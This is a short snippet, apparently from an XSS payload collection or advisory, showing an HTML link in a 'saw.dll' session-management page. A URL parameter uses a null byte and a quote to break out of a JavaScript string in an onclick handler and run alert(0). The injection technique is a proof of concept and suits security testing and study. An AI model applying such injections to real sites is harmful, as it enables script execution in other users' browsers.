XSS-Payload-JS-pseudo-protocol
HTML
<a target="_blank" onclick="javascript:saw.runThisURL('saw.dll?ManageSessions&Action=ViewCursorLog&ID=276182%00123';alert(0)//&Done=saw.dll%3fSessions',
{ensureFreshUrl:true});return false" href="javascript:void(null)">
BIPS Cursor Log
</a>